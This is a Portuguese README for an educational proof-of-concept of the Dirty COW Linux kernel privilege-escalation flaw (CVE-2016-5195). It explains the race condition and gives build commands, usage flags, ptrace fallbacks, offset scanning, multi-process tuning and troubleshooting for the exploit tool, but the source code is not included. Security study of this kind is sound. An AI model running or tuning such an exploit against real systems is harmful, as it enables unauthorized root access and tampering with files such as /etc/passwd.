PoC Educacional do Dirty COW (CVE-2016-5195)

⚠️ Aviso Legal

Este código é somente para FINS EDUCACIONAIS. Qualquer uso malicioso é estritamente proibido e ilegal.

📖 O que é Dirty COW?

O Dirty COW (CVE-2016-5195) é uma vulnerabilidade de escalonamento de privilégios no kernel Linux que explora uma condição de corrida no mecanismo copy-on-write (COW) do kernel. Esta vulnerabilidade afeta kernels Linux da versão 2.6.22 (lançada em 2007) até versões anteriores a:

• 4.8.3
• 4.7.9
• 4.4.26

Detalhes Técnicos

A vulnerabilidade ocorre no sistema de gerenciamento de memória do kernel:

1. Copy-On-Write (COW): Quando um processo mapeia um arquivo com MAP_PRIVATE, as modificações devem criar uma cópia privada
2. Condição de Corrida (Race Condition): Duas threads competindo entre madvise(MADV_DONTNEED) e a escrita em /proc/self/mem
3. Exploração: Sob condições específicas de tempo, as escritas podem contornar a proteção COW e modificar o arquivo original

Impacto

• Escalonamento de Privilégios: Modificar arquivos somente leitura pertencentes ao root
• Comprometimento do Sistema: Potencial para obter acesso root modificando arquivos de sistema como /etc/passwd
• Integridade dos Dados: Modificação não autorizada de arquivos críticos do sistema

🛡️ Notas de Segurança para Testes

⚠️ CRÍTICO: Teste Somente em Ambiente Isolado

NUNCA execute isso em sistemas de produção ou sistemas que você não possui!

Ambiente de Teste Recomendado:

1. Máquina Virtual (VM): Use VMware, VirtualBox ou KVM
2. Contêiner: Contêiner Docker com kernel vulnerável
3. Laboratório Isolado: Máquina de teste dedicada sem dados importantes
4. Requisitos do Kernel: Versões de kernel Linux 2.6.22 a 4.8.2

Práticas Seguras de Teste:

# 1. Check kernel version first
uname -r

# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test

# 3. Test with harmless files only
./main -t /tmp/test_file -v

# 4. Monitor system resources
top -p $(pgrep -f main)

🚀 Compilação e Uso

Pré-requisitos

# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev

# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel

Compilação

# Standard compilation
make

# Debug version
make main-debug

# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto

Uso Básico

# Simple test with default settings
./main

# Verbose mode with custom target
./main -t /tmp/testfile -v

# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v

# Binary payload from file
./main -f payload.bin -P -D -n 2

Opções de Linha de Comando

🔬 Recursos Avançados

1. Múltiplos Métodos de Ataque

• Método 1: Escrita em /proc/self/mem (padrão)
• Método 2: ptrace(PTRACE_POKETEXT) para sistemas restritos

2. Varredura Dinâmica de Offsets

Varre múltiplos offsets de memória para encontrar a melhor posição de escrita:

./main -D -v  # Enable dynamic offset scanning

3. Condições de Corrida Multi-Processo

Lance múltiplos processos para condições de corrida intensas:

./main -n 4  # Use 4 parallel processes

4. Suporte a Payload Binário

Carregue dados binários arbitrários de arquivos:

# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin

# Use binary payload
./main -f payload.bin -v

5. Lógica Automática de Repetição (Retry)

Repita tentativas falhas automaticamente:

./main -r 5  # Retry up to 5 times

6. Verificação de Integridade de Arquivo

Usa hash SHA-256 para verificar modificações em arquivos:

# Check original vs modified file hashes
./main -v  # Shows hash comparison in verbose mode

📊 Saída e Logging

Exemplo de Saída no Console

Dirty COW Educational PoC (CVE-2016-5195)
==========================================

=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000

=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible

=== STARTING TEST ===

=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final:    f6e5d4c3b2a1...

=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec

Formato do Arquivo de Log

A ferramenta cria logs detalhados em exploit_log.txt:

[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec

🎯 Cenários de Teste

Cenário 1: Teste Básico de Funcionalidade

# Test basic exploit functionality
./main -t /tmp/basic_test -v

Cenário 2: Teste de Estresse

# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v

Cenário 3: Ambiente Restrito

# Test when /proc/self/mem is blocked
./main -P -D -v

Cenário 4: Teste de Payload Binário

# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v

🔍 Entendendo o Exploit

Temporização da Condição de Corrida

O exploit funciona criando uma corrida entre duas operações:

1. Thread 1: madvise(MADV_DONTNEED) - Diz ao kernel para descartar páginas de memória
2. Thread 2: Escrita em /proc/self/mem - Tenta escrever na memória mapeada

Fatores de Sucesso

• Versão do Kernel: Deve ser vulnerável (< 4.8.3)
• Temporização: A condição de corrida deve ocorrer em um momento preciso
• Mapeamento de Memória: O arquivo deve ser mapeado com MAP_PRIVATE
• Permissões: É necessário ter acesso de leitura ao arquivo alvo

Por Que Funciona

Quando a condição de corrida é bem-sucedida:

1. A Thread 1 descarta a página COW
2. As escritas da Thread 2 ocorrem antes que a nova página COW seja criada
3. A escrita vai diretamente para o arquivo original em vez da cópia privada

🛠️ Solução de Problemas

Problemas Comuns

1. "Exploit falhou ou iterações insuficientes"

• Solução: Aumente as iterações com -i ou use múltiplos processos com -n

2. "Falha no acesso a /proc/self/mem"

• Solução: Use o método ptrace com a flag -P

3. "O sistema pode não ser vulnerável"

• Verifique a versão do kernel: uname -r
• Certifique-se de que o kernel seja anterior à versão 4.8.3

4. O sistema fica sem resposta

• Reduza as iterações: -i 1000000
• Use menos processos: -n 1

Ajuste de Desempenho

# Conservative settings (slower but safer)
./main -i 5000000 -n 1

# Aggressive settings (faster but resource intensive)
./main -i 50000000 -n 4 -D

# Balanced settings
./main -i 20000000 -n 2 -r 2 -D

📚 Recursos Educacionais

Informações do CVE

• CVE-2016-5195: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195
• Banco de Dados NVD: https://nvd.nist.gov/vuln/detail/CVE-2016-5195

Leitura Adicional

• Gerenciamento de Memória do Kernel Linux
• Mecanismo Copy-On-Write
• Vulnerabilidades de Condição de Corrida
• Técnicas de Escalonamento de Privilégios

🤝 Contribuindo

Esta é uma ferramenta educacional. As contribuições devem focar em:

• Melhorar o valor educacional
• Adicionar recursos de segurança
• Melhor documentação
• Clareza do código e comentários

⚖️ Aviso Legal

Este software é fornecido apenas para fins educacionais e de pesquisa. Os autores e contribuidores não são responsáveis por qualquer uso indevido ou dano causado por este programa. Os usuários são os únicos responsáveis por garantir que tenham autorização adequada antes de testar em qualquer sistema.

Ao usar este software, você reconhece que:

• Você o usará apenas para fins educacionais legítimos
• Você tem autorização adequada para qualquer teste realizado
• Você entende as implicações legais de testar sistemas sem autorização
• Você não usará esta ferramenta para fins maliciosos

📝 Licença

Este projeto é lançado sob a Licença MIT apenas para fins educacionais.

Lembre-se: Com grandes poderes vêm grandes responsabilidades. Use este conhecimento para proteger e assegurar sistemas, não para prejudicá-los.